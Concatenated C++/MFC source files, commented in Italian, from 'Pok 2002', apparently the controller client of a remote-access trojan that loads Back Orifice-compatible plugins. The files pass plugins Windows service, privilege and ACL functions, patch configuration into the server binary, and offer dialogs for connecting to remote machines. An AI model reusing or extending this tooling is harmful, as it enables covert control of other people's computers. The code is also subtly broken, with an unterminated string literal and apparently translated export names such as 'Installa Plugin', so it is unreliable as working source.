ppl->win.pLMSNetShareAdd=pLMSNetShareAdd;


ppl->win.pLMSNetApiBufferFree=pLMSNetApiBufferFree;


ppl->win.pSVRNetSessionEnum=pSVRNetSessionEnum;


ppl->win.pSVRNetShareEnum=pSVRNetShareEnum;


ppl->win.pSVRNetShareDel=pSVRNetShareDel;


ppl->win.pSVRNetShareAdd=pSVRNetShareAdd;


ppl->win.pRegSetKeySecurity=pRegSetKeySecurity;


ppl->win.pSetSecurityDescriptorDacl=pSetSecurityDescriptorDacl;


ppl->win.pGetAce=pGetAce;


ppl->win.pAddAccessAllowedAce=pAddAccessAllowedAce;


ppl->win.pInitializeAcl=pInitializeAcl;


ppl->win.pInitializeSecurityDescriptor=pInitializeSecurityDescriptor;


ppl->win.pGetLengthSid=pGetLengthSid;


ppl->win.pLookupAccountName=pLookupAccountName;


ppl->win.pLookupAccountSid=pLookupAccountSid;


ppl->win.pGetSecurityDescriptorDacl=pGetSecurityDescriptorDacl;


ppl->win.pGetSecurityDescriptorGroup=pGetSecurityDescriptorGroup;


ppl->win.pGetSecurityDescriptorOwner=pGetSecurityDescriptorOwner;


ppl->win.pOpenProcessToken=pOpenProcessToken;


ppl->win.pLookupPrivilegeValue=pLookupPrivilegeValue;


ppl->win.pAdjustTokenPrivileges=pAdjustTokenPrivileges;


ppl->win.pRegGetKeySecurity=pRegGetKeySecurity;


ppl->win.pOpenSCManager=pOpenSCManager;


ppl->win.pCreateService=pCreateService;


ppl->win.pCloseServiceHandle=pCloseServiceHandle;


ppl->win.pOpenService=pOpenService;


ppl->win.pStartServiceCtrlDispatcher=pStartServiceCtrlDispatcher;


ppl->win.pRegisterServiceCtrlHandler=pRegisterServiceCtrlHandler;


ppl->win.pSetServiceStatus=pSetServiceStatus;


ppl->win.pDeleteService=pDeleteService;


ppl->win.pGetServiceDisplayName=pGetServiceDisplayName;


ppl->win.pStartService=pStartService;


return 0;

}

int CMainFrame::AddPlugin(CString strPath)

{


PLUGIN_INFO pi;


pi.pPluginImage=NULL;


pi.dwPluginLen=0;


pi.svFilename[0]=0;


pi.svDescription[0]=0;


pi.wVersionLo=0;


pi.wVersionHi=0;


pi.wpokVersionLo=0;


pi.wpokVersionHi=0;


pi.dwFlags=0;


// caricatore Plugin, librerie dinamiche DLL 


HINSTANCE hDLL;


hDLL=LoadLibrary(strPath);


if(hDLL==NULL)



hDLL=LoadDLL(strPath);


if(hDLL!=NULL) {



pi.pPluginImage=(BYTE *)hDLL;



PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(pi.pPluginImage);



pi.dwPluginLen=poh->SizeOfImage;



// chiama la versione delle DLL



PLUGIN_VERSION pv;



TYPEOF_PluginVersion *PluginVersion=(TYPEOF_PluginVersion *)GetDLLProcAddress(hDLL,"PluginVersion");



if(PluginVersion!=NULL) {




if(PluginVersion(&pv)) {





// Copia le informazioni sul plugin caricato





lstrcpyn(pi.svFilename,strPath,MAX_PATH+1);





lstrcpyn(pi.svDescription,pv.svDescription,256);





pi.wVersionLo=pv.wVersionLo;





pi.wVersionHi=pv.wVersionHi;





pi.wpokVersionLo=pv.wpokVersionLo;





pi.wpokVersionHi=pv.wpokVersionHi;





pi.dwFlags=pv.dwFlags;




}



}



// Estrae lista di variabili



if(!(pi.dwFlags & PVF_CLIENT)) {




MessageBox("Questa  plugin non è valida per il Client.","Tipo di plugin  errata",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONSTOP);




FreeDLL(hDLL);




FreeLibrary(hDLL);





return -1;



}



if(((pi.wpokVersionHi<<16)|pi.wpokVersionLo)<0x10001) {




MessageBox("Richiesta compatibilità con Back orifice1.01 o superiore per le  plugins.","Plugin errata",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONSTOP);




FreeDLL(hDLL);




FreeLibrary(hDLL);





return -1;



}



int nPlugin=m_arrPluginInfo.Add(pi);



if(nPlugin>=0) {




AddVariables((char *)pi.pPluginImage,pi.dwPluginLen,nPlugin);




LoadPluginConfig(nPlugin);



} else {




FreeDLL(hDLL);




FreeLibrary(hDLL);





return -1;



}



// Avvia plugin



PLUGIN_LINKAGE pl;



FillLinkage(&pl);







TYPEOF_InstallPlugin *InstallPlugin=(TYPEOF_InstallPlugin *)GetDLLProcAddress(hDLL,"Installa Plugin");



if(InstallPlugin(&pl)==-1) {




AfxMessageBox("Errore di installazione  plugin.",MB_OK|MB_ICONWARNING|MB_SETFOREGROUND|MB_TOPMOST);




RemovePlugin(nPlugin);




return -1;



}



return nPlugin;


}


return -1;

}

int CMainFrame::RemovePlugin(int nPlugin)

{


if(nPlugin>=m_arrPluginInfo.GetSize()) return -1;


if(nPlugin<0) return -1;


HMODULE hDLL=(HMODULE)m_arrPluginInfo[nPlugin].pPluginImage;


// Termina esecuzione plugin


TYPEOF_TerminatePlugin *TerminatePlugin=(TYPEOF_TerminatePlugin *)GetDLLProcAddress(hDLL,"TerminatePlugin");


TerminatePlugin();


// Salva la configurazione dei plugin nelle chiavi del registro


if(SavePluginConfig(nPlugin)==-1) {



AfxMessageBox("Impossibile salvare la configurazione nelle chiavi del registro    ",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONWARNING);


}


// rimozione dalla memoria e dalla lista della plugin


FreeDLL(hDLL);


FreeLibrary(hDLL);


m_arrPluginInfo.RemoveAt(nPlugin);


return 0;

}

void CMainFrame::AddVariables(char *pBuffer, DWORD dwLen, int nPlugin)

{


DWORD pos;


for(pos=0;pos<dwLen-10;pos++) {



if(memcmp(pBuffer+pos,"<**CFG**>",9)==0) {




pos+=9;




// Acquisisci tipo e categoria della plugin




VARIABLE_INFO vi;




lstrcpyn(vi.svCategory,pBuffer+pos,256);




pos+=(lstrlen(pBuffer+pos)+1);




// Scansione delle vaiabili




while(*(pBuffer+pos)!='\0') {





DWORD dwValPos;





vi.VarType=*(pBuffer+pos);





if(vi.VarType=='B') {






pos+=2;






DWORD dwStart=pos;






while(*(pBuffer+pos)!='=') pos++;






lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));






pos++;






dwValPos=pos;






lstrcpyn(vi.svVarValue,pBuffer+pos,256);






vi.nStrLen=1;






pos+=2;





} else if(vi.VarType=='N') {






// acquisisci campo di variazione 






pos+=2;






vi.nNumLo=atoi(pBuffer+pos);






while(*(pBuffer+pos)!=',') pos++;






pos++;






vi.nStrLen=pos;






vi.nNumHi=atoi(pBuffer+pos);






while(*(pBuffer+pos)!=']') pos++;






vi.nStrLen=pos-vi.nStrLen;






pos+=2;






// Acquisici nome e valore






DWORD dwStart=pos;






while(*(pBuffer+pos)!='=') pos++;






lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));






pos++;






dwValPos=pos;






lstrcpyn(vi.svVarValue,pBuffer+pos,256);






pos+=(vi.nStrLen+1);





} else if(vi.VarType=='S') {






// acquisicsi il range






pos+=2;






vi.nStrLen=atoi(pBuffer+pos);






while(*(pBuffer+pos)!=']') pos++;






pos+=2;






// acquisici il nome






DWORD dwStart=pos;






while(*(pBuffer+pos)!='=') pos++;






lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));






pos++;






lstrcpyn(vi.svVarValue,pBuffer+pos,256);






dwValPos=pos;






pos+=(vi.nStrLen+1);





} else {






AfxMessageBox("Errore analizzando la vaiabile.non è immessa nella lista.");






return;





}





// Aggiungi la variabile nel vettore delle informazioni





vi.nPlugin=nPlugin;





vi.dwPos=dwValPos;





m_arrVarInfo.Add(vi);




}



}


}

}

int CMainFrame::LoadPluginConfig(int nNum)

{


int i,count;


count=m_arrVarInfo.GetSize();


char *base;


if(nNum==-1) {



base=(char *)AfxGetInstanceHandle();


} else {



base=(char *)m_arrPluginInfo[nNum].pPluginImage;



}


for(i=0;i<count;i++) {



VARIABLE_INFO vi=m_arrVarInfo[i];



if(vi.nPlugin==nNum) {




CString str;




str=AfxGetApp()->GetProfileString(vi.svCategory,vi.svVarName,base+vi.dwPos);




lstrcpyn(base+vi.dwPos,str,vi.nStrLen+1);



}


}


return 0;

}

int CMainFrame::SavePluginConfig(int nNum)

{


int i,count;


count=m_arrVarInfo.GetSize();


char *base;


if(nNum==-1) {



base=(char *)AfxGetInstanceHandle();


} else {



base=(char *)m_arrPluginInfo[nNum].pPluginImage;



}


for(i=0;i<count;i++) {



VARIABLE_INFO vi=m_arrVarInfo[i];



if(vi.nPlugin==nNum) {




AfxGetApp()->WriteProfileString(vi.svCategory,vi.svVarName,base+vi.dwPos);



}


}


return 0;

}

void CMainFrame::OnPluginMenu(UINT nID)

{


int i,count;


count=m_arrPluginMenuItems.GetSize();


for(i=0;i<count;i++) {



if(m_arrPluginMenuItems[i].nId==(int)(nID-IDM_PLUGIN_0)) break;


}


if(i==count) return;


// chiama la procedura delle plugin


int nRet=m_arrPluginMenuItems[i].pProc(GetSafeHwnd());


if(nRet==-1) {



AfxMessageBox("Errore in fase di lancio della plugin.\nLe cose non procedono nella maniera attesa.\n",MB_OK|MB_ICONWARNING|MB_SETFOREGROUND|MB_TOPMOST);


}

}

LRESULT CMainFrame::OnDialogDoModal(WPARAM wParam, LPARAM lParam)

{


CDialog *cdlg=((CDIALOGDOMODALPARAM *)lParam)->pDialog;


int nRet=cdlg->DoModal();


((CDIALOGDOMODALPARAM *)lParam)->nRet=nRet;


SetEvent(((CDIALOGDOMODALPARAM *)lParam)->hTrigger);


return (TRUE);

}

int CMainFrame::DoDialogModal(CDialog *dlg)

{


MSG msg;


CDIALOGDOMODALPARAM cddmp;


cddmp.pDialog=dlg;


cddmp.nRet=-1;


cddmp.hTrigger=CreateEvent(NULL,TRUE,FALSE,NULL);


PostMessage(WM_CDIALOG_DO_MODAL,0,(LPARAM)&cddmp);


while(WaitForSingleObject(cddmp.hTrigger,0)!=WAIT_OBJECT_0) {



if(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) {




TranslateMessage(&msg);




DispatchMessage(&msg);



}



Sleep(20);


}


CloseHandle(cddmp.hTrigger);


return cddmp.nRet;

}

// Richiamo defenitivo delle plugins

int RegisterClientMenu(LPCSTR szCategory, LPCSTR szComName, TYPEOF_ClientMenu *pProc)

{


return ((CMainFrame *)AfxGetMainWnd())->RegisterClientMenu(szCategory,szComName, pProc);

}

int UnregisterClientMenu(LPCSTR szCategory, LPCSTR szComName)

{


return ((CMainFrame *)AfxGetMainWnd())->UnregisterClientMenu(szCategory,szComName);

}

int InteractiveConnect(HWND hParent, LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth)

{


CMainFrame *pcmf=(CMainFrame *)AfxGetMainWnd();


CWnd *pWnd=CWnd::FromHandle(hParent);


CInteractiveConnect cic(pWnd);


cic.m_strSvrAddr=svBindStr;


cic.m_strSelectedIO=svNetMod;


cic.m_strSelectedEnc=svEncryption;


cic.m_strSelectedAuth=svAuth;


if(pcmf->DoDialogModal(&cic)==IDOK) {



lstrcpyn(svRBindStr,cic.m_strSvrAddr,256);



lstrcpyn(svRNetMod,cic.m_strSelectedIO,256);



lstrcpyn(svREncryption,cic.m_strSelectedEnc,256);



lstrcpyn(svRAuth,cic.m_strSelectedAuth,256);



return 0;


}


return -1;

}

int InteractiveListen(HWND hParent, LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth)

{


CMainFrame *pcmf=(CMainFrame *)AfxGetMainWnd();


CWnd *pWnd=CWnd::FromHandle(hParent);


CInteractiveListen cil(pWnd);


cil.m_strSvrAddr=svBindStr;


cil.m_strSelectedIO=svNetMod;


cil.m_strSelectedEnc=svEncryption;


cil.m_strSelectedAuth=svAuth;


if(pcmf->DoDialogModal(&cil)==IDOK) {



lstrcpyn(svRBindStr,cil.m_strSvrAddr,256);



lstrcpyn(svRNetMod,cil.m_strSelectedIO,256);



lstrcpyn(svREncryption,cil.m_strSelectedEnc,256);



lstrcpyn(svRAuth,cil.m_strSelectedAuth,256);



return 0;


}


return -1;

}

/*  Pok 2002 (il ragno che insidia la rete) */

// file NewMachineDlg.cpp 

//

#include "stdafx.h"

#include "pokgui.h"

#include "MainFrm.h"

#include "NewMachineDlg.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

CNewMachineDlg::CNewMachineDlg(CWnd* pParent /*=NULL*/)


: CDialog(CNewMachineDlg::IDD, pParent)

{


m_strSvrAddr = _T("");


m_nEncryption = -1;


m_nConnType = -1;


m_strMachineName = _T("");


m_nAuthHandler = -1;


m_strSelectedIO=_T("");


m_strSelectedEnc=_T("");


m_strSelectedAuth=_T("");

}

void CNewMachineDlg::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);


DDX_Text(pDX, IDC_SERVER_ADDRESS, m_strSvrAddr);


DDV_MaxChars(pDX, m_strSvrAddr, 512);


DDX_CBIndex(pDX, IDC_ENCRYPTION_ENGINE, m_nEncryption);


DDX_CBIndex(pDX, IDC_CONNECTION_TYPE, m_nConnType);


DDX_Text(pDX, IDC_MACHINENAME, m_strMachineName);


DDV_MaxChars(pDX, m_strMachineName, 64);


DDX_CBIndex(pDX, IDC_AUTH_HANDLER, m_nAuthHandler);

}

BEGIN_MESSAGE_MAP(CNewMachineDlg, CDialog)
END_MESSAGE_MAP()

void CNewMachineDlg::OnOK() 

{


CCompokBox *ccb;


ccb=(CCompokBox *)GetDlgItem(IDC_CONNECTION_TYPE);


m_strSelectedIO=g_pIOHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


ccb=(CCompokBox *)GetDlgItem(IDC_ENCRYPTION_ENGINE);


m_strSelectedEnc=g_pEncryptionHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


ccb=(CCompokBox *)GetDlgItem(IDC_AUTH_HANDLER);


m_strSelectedAuth=g_pAuthHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


CDialog::OnOK();

}

BOOL CNewMachineDlg::OnInitDialog() 

{


int i;


CCompokBox *ccb;


CDialog::OnInitDialog();


// Aggiungi tipo di connessione


ccb=(CCompokBox *)GetDlgItem(IDC_CONNECTION_TYPE);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_IO_HANDLERS;i++) {



char *txt;



txt=g_pIOHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedIO)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


// Aggiungi tipo di criptatura


ccb=(CCompokBox *)GetDlgItem(IDC_ENCRYPTION_ENGINE);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



char *txt;



txt=g_pEncryptionHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedEnc)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


// Aggiungi procedura di autenticazione del server


ccb=(CCompokBox *)GetDlgItem(IDC_AUTH_HANDLER);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



char *txt=g_pAuthHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedAuth)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


return TRUE;  

}

/*  Pok 2002 (il ragno che insidia la rete) */

// file pluginconfig.cpp

#include "stdafx.h"

#include "pokgui.h"

#include "MainFrm.h"

#include "pluginconfig.h"

#include "dll_load.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

CPluginConfig::CPluginConfig(CWnd* pParent /*=NULL*/)


: CDialog(CPluginConfig::IDD, pParent)

{


//eventuali routine di servizio

}

void CPluginConfig::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);


//aggiunta protocolli DDX DVX

}

BEGIN_MESSAGE_MAP(CPluginConfig, CDialog)


ON_BN_CLICKED(IDC_INSERT, OnInsert)


ON_BN_CLICKED(IDC_REMOVE, OnRemove)


ON_NOTIFY(TVN_SELCHANGED, IDC_OPTIONVARIABLES, OnSelchangedOptionvariables)


ON_BN_CLICKED(IDC_BOOL_DISABLED, OnBoolDisabled)


ON_BN_CLICKED(IDC_BOOL_ENABLED, OnBoolEnabled)


ON_BN_CLICKED(IDC_SETVALUE, OnSetvalue)


END_MESSAGE_MAP()

BOOL CPluginConfig::OnInitDialog() 

{


CDialog::OnInitDialog();


m_ImgList.Create(IDB_IMGLIST,16,1,RGB(0,255,0));


CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));


pLC->InsertColumn(0,"Nome del plugin_LEFT,100,-1);


pLC->InsertColumn(1,"Versione",LVCFMT_LEFT,48,-1);


pLC->InsertColumn(2,"compatibilita con Back orifice",LVCFMT_LEFT,60,-1);


pLC->InsertColumn(3,"Descrizione",LVCFMT_LEFT,200,-1);


pLC->SetImageList(&m_ImgList,LVSIL_SMALL);


pLC->SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_HEADERDRAGDROP);


CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);


pTC->SetImageList(&m_ImgList,TVSIL_NORMAL);


int i,count;


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


count=pFrm->m_arrPluginInfo.GetSize();


for(i=0;i<count;i++) {



CString str;



PLUGIN_INFO pi;



pi=pFrm->m_arrPluginInfo[i];



pLC->InsertItem(i,pi.svFilename,0);



str.Format("%d.%d",pi.wVersionHi,pi.wVersionLo);



pLC->SetItem(i,1,LVIF_TEXT,str,0,0,0,0);



str.Format("%d.%d",pi.wpokVersionHi,pi.wpokVersionLo);



pLC->SetItem(i,2,LVIF_TEXT,str,0,0,0,0);



pLC->SetItem(i,3,LVIF_TEXT,pi.svDescription,0,0,0,0);


}


UpdateVariableList();


EnableControls(FALSE);


return TRUE;

}

void CPluginConfig::EnableControls(BOOL bEnable)

{


// Deseleziona tutta la lista dei controlli dall’albero


((CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES))->SelectItem(NULL);


((CListCtrl *)GetDlgItem(IDC_PLUGINS))->SetSelectionMark(-1);


// Abilita disabilita I controlli.


GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow(FALSE);


GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow(FALSE);


GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow(FALSE);


GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow(FALSE);


GetDlgItem(IDC_SETVALUE)->EnableWindow(FALSE);


GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow(FALSE);


GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow(FALSE);


GetDlgItem(IDC_BOOL_GROUP)->EnableWindow(FALSE);

}

BOOL CPluginConfig::IsValidPlugin(LPCSTR svPath)

{


HMODULE hMod;


BOOL bAltLoad=FALSE;


hMod=LoadLibrary(svPath);


if(hMod==NULL) {



bAltLoad=TRUE;



hMod=LoadDLL(svPath);



if(hMod==NULL) return FALSE;


}


FARPROC proc=GetDLLProcAddress(hMod,"Installa Plugin");


if(bAltLoad) FreeDLL(hMod);


else FreeLibrary(hMod);


return (proc==NULL)?FALSE:TRUE;

}

void CPluginConfig::UpdateVariableList()

{


CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);


pTC->DeleteAllItems();


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


// Aggiungi opzioni per il server eseguibile di Pok


pFrm->m_arrVarInfo.RemoveAll();


char *base=(char *)AfxGetInstanceHandle();


PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(base);


pFrm->AddVariables(base, poh->SizeOfImage, -1);


// Aggiungi opzioni per tutti I plugins


int i,count;


count=pFrm->m_arrPluginInfo.GetSize();


for(i=0;i<count;i++) {



pFrm->AddVariables((char *)pFrm->m_arrPluginInfo[i].pPluginImage,pFrm->m_arrPluginInfo[i].dwPluginLen,i);


}


count=pFrm->m_arrVarInfo.GetSize();


for(i=0;i<count;i++) {



VARIABLE_INFO vi=pFrm->m_arrVarInfo.GetAt(i);



HTREEITEM hti;



// Trova la categoria di appartenenza del file



hti=pTC->GetRootItem();



while(hti!=NULL) {




if(pTC->GetItemText(hti).Compare(vi.svCategory)==0) break;




hti=pTC->GetNextSiblingItem(hti);



}



if(hti==NULL) {




if(vi.nPlugin==-1) {





hti=pTC->InsertItem(vi.svCategory,4,5);




} else {





hti=pTC->InsertItem(vi.svCategory,6,7);




}




pTC->SetItemData(hti,0xFFFFFFFF);



}



int nImg;



if(vi.VarType=='B') nImg=3;



else if(vi.VarType=='N') nImg=2;



else if(vi.VarType=='S') nImg=1;



hti=pTC->InsertItem(vi.svVarName,nImg,nImg,hti);



pTC->SetItemData(hti,i);


}

}

void CPluginConfig::OnInsert() 

{


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


CFileDialog cfd(TRUE,".dll",NULL,OFN_PATHMUSTEXIST | OFN_HIDEREADONLY,"DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||",this);


cfd.m_ofn.lpstrTitle="Aggiungi un plugin copatibile Back orifice";


if(cfd.DoModal()==IDOK) {



if(IsValidPlugin(cfd.GetPathName())) {




int nNum;




CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));




CString str;




PLUGIN_INFO pi;




nNum=pFrm->AddPlugin(cfd.GetPathName());




if(nNum>=0) {





pi=pFrm->m_arrPluginInfo[nNum];





pLC->InsertItem(nNum,pi.svFilename,0);





str.Format("%d.%d",pi.wVersionHi,pi.wVersionLo);





pLC->SetItem(nNum,1,LVIF_TEXT,str,0,0,0,0);





str.Format("%d.%d",pi.wpokVersionHi,pi.wpokVersionLo);





pLC->SetItem(nNum,2,LVIF_TEXT,str,0,0,0,0);





pLC->SetItem(nNum,3,LVIF_TEXT,pi.svDescription,0,0,0,0);





UpdateVariableList();




}



} else {




AfxMessageBox("IL file specifica non può essere caricato in Pok perchè non compatibile con Back orifice");



}


}

}

void CPluginConfig::OnRemove() 

{


int nNum;


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));


nNum=pLC->GetSelectionMark();


if(nNum<0) return;


CString str;


pLC->DeleteItem(nNum);


nNum=pFrm->RemovePlugin(nNum);


UpdateVariableList();

}

void CPluginConfig::OnSelchangedOptionvariables(NMHDR* pNMHDR, LRESULT* pResult) 

{


NMTREEVIEW *pNMTreeView = (NMTREEVIEW*)pNMHDR;


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


// Nasconde tutti I controlli


GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow(FALSE);


GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow(FALSE);


GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow(FALSE);


GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow(FALSE);


GetDlgItem(IDC_SETVALUE)->EnableWindow(FALSE);


GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow(FALSE);


GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow(FALSE);


GetDlgItem(IDC_BOOL_GROUP)->EnableWindow(FALSE);


if(pNMTreeView->itemNew.hItem!=NULL) {



int nVar=pNMTreeView->itemNew.lParam;



if(nVar!=0xFFFFFFFF) {





if(pFrm->m_arrVarInfo[nVar].VarType=='B') {





GetDlgItem(IDC_BOOL_GROUP)->EnableWindow();





GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow();





GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow();





if(atoi(pFrm->m_arrVarInfo[nVar].svVarValue)) {






((CButton *)GetDlgItem(IDC_BOOL_ENABLED))->SetCheck(1);






((CButton *)GetDlgItem(IDC_BOOL_DISABLED))->SetCheck(0);





} else {






((CButton *)GetDlgItem(IDC_BOOL_DISABLED))->SetCheck(1);






((CButton *)GetDlgItem(IDC_BOOL_ENABLED))->SetCheck(0);





}




} else if(pFrm->m_arrVarInfo[nVar].VarType=='N') {





GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow();





GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow();





GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow();





GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow();





GetDlgItem(IDC_SETVALUE)->EnableWindow();





GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(pFrm->m_arrVarInfo[nVar].svVarValue);





GetDlgItem(IDC_STR_NEWVALUE)->SetWindowText("");





((CEdit *)GetDlgItem(IDC_STR_CURRENTVALUE))->SetLimitText(pFrm->m_arrVarInfo[nVar].nStrLen);





((CEdit *)GetDlgItem(IDC_STR_NEWVALUE))->SetLimitText(pFrm->m_arrVarInfo[nVar].nStrLen);





GetDlgItem(IDC_STR_CURRENTVALUE)->ModifyStyle(0,ES_NUMBER);





GetDlgItem(IDC_STR_NEWVALUE)->ModifyStyle(0,ES_NUMBER);




} else if(pFrm->m_arrVarInfo[nVar].VarType=='S') {





GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow();





GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow();





GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow();





GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow();





GetDlgItem(IDC_SETVALUE)->EnableWindow();





GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(pFrm->m_arrVarInfo[nVar].svVarValue);





GetDlgItem(IDC_STR_NEWVALUE)->SetWindowText("");





((CEdit *)GetDlgItem(IDC_STR_CURRENTVALUE))->SetLimitText(pFrm->m_arrVarInfo[nVar].nStrLen);





((CEdit *)GetDlgItem(IDC_STR_NEWVALUE))->SetLimitText(pFrm->m_arrVarInfo[nVar].nStrLen);





GetDlgItem(IDC_STR_CURRENTVALUE)->ModifyStyle(ES_NUMBER,0);





GetDlgItem(IDC_STR_NEWVALUE)->ModifyStyle(ES_NUMBER,0);








}



}


}


*pResult = 0;

}

void CPluginConfig::OnBoolDisabled() 

{


CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


HTREEITEM hti=pTC->GetSelectedItem();


int nVar=pTC->GetItemData(hti);


if(nVar!=0xFFFFFFFF) {



pFrm->m_arrVarInfo[nVar].svVarValue[0]='0';



// imposta nell’immagine il server di Pok



VARIABLE_INFO vi=pFrm->m_arrVarInfo[nVar];



char *ptr;



DWORD pos;



if(vi.nPlugin>=0) {




PLUGIN_INFO pi=pFrm->m_arrPluginInfo[vi.nPlugin];




ptr=(char *)pi.pPluginImage;



} else {




ptr=(char *)AfxGetInstanceHandle();



}



pos=vi.dwPos;



memset(ptr+pos,0,vi.nStrLen+1);



memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));


}

}

void CPluginConfig::OnBoolEnabled() 

{


CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


HTREEITEM hti=pTC->GetSelectedItem();


int nVar=pTC->GetItemData(hti);


if(nVar!=0xFFFFFFFF) {



pFrm->m_arrVarInfo[nVar].svVarValue[0]='1';



// Introduce nell’immagine il server



VARIABLE_INFO vi=pFrm->m_arrVarInfo[nVar];



char *ptr;



DWORD pos;



if(vi.nPlugin>=0) {




PLUGIN_INFO pi=pFrm->m_arrPluginInfo[vi.nPlugin];




ptr=(char *)pi.pPluginImage;



} else {




ptr=(char *)AfxGetInstanceHandle();



}



pos=vi.dwPos;



memset(ptr+pos,0,vi.nStrLen+1);



memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));


}

}

void CPluginConfig::OnSetvalue()

{


CMainFrame *pFrm=(CMainFrame *)AfxGetMainWnd();


CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);


HTREEITEM hti=pTC->GetSelectedItem();


int nVar=pTC->GetItemData(hti);


if(nVar!=0xFFFFFFFF) {



CString str;



GetDlgItem(IDC_STR_NEWVALUE)->GetWindowText(str);



if(pFrm->m_arrVarInfo[nVar].VarType=='N') {




int nValue=atoi(str);




if((nValue>pFrm->m_arrVarInfo[nVar].nNumHi) ||




   (nValue<pFrm->m_arrVarInfo[nVar].nNumLo)) {





AfxMessageBox("Value is out of range.");





return;




}



}



lstrcpyn(pFrm->m_arrVarInfo[nVar].svVarValue,str,256);



GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(str);



// mette nell’immagine il server POK



VARIABLE_INFO vi=pFrm->m_arrVarInfo[nVar];



char *ptr;



DWORD pos;



if(vi.nPlugin>=0) {




PLUGIN_INFO pi=pFrm->m_arrPluginInfo[vi.nPlugin];




ptr=(char *)pi.pPluginImage;



} else {




ptr=(char *)AfxGetInstanceHandle();



}



pos=vi.dwPos;



memset(ptr+pos,0,vi.nStrLen+1);



memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));


}


}

/*  Principale Pok client */

// pokWDoc.cpp : implementazione della classe pokWDoc 

#include "stdafx.h"

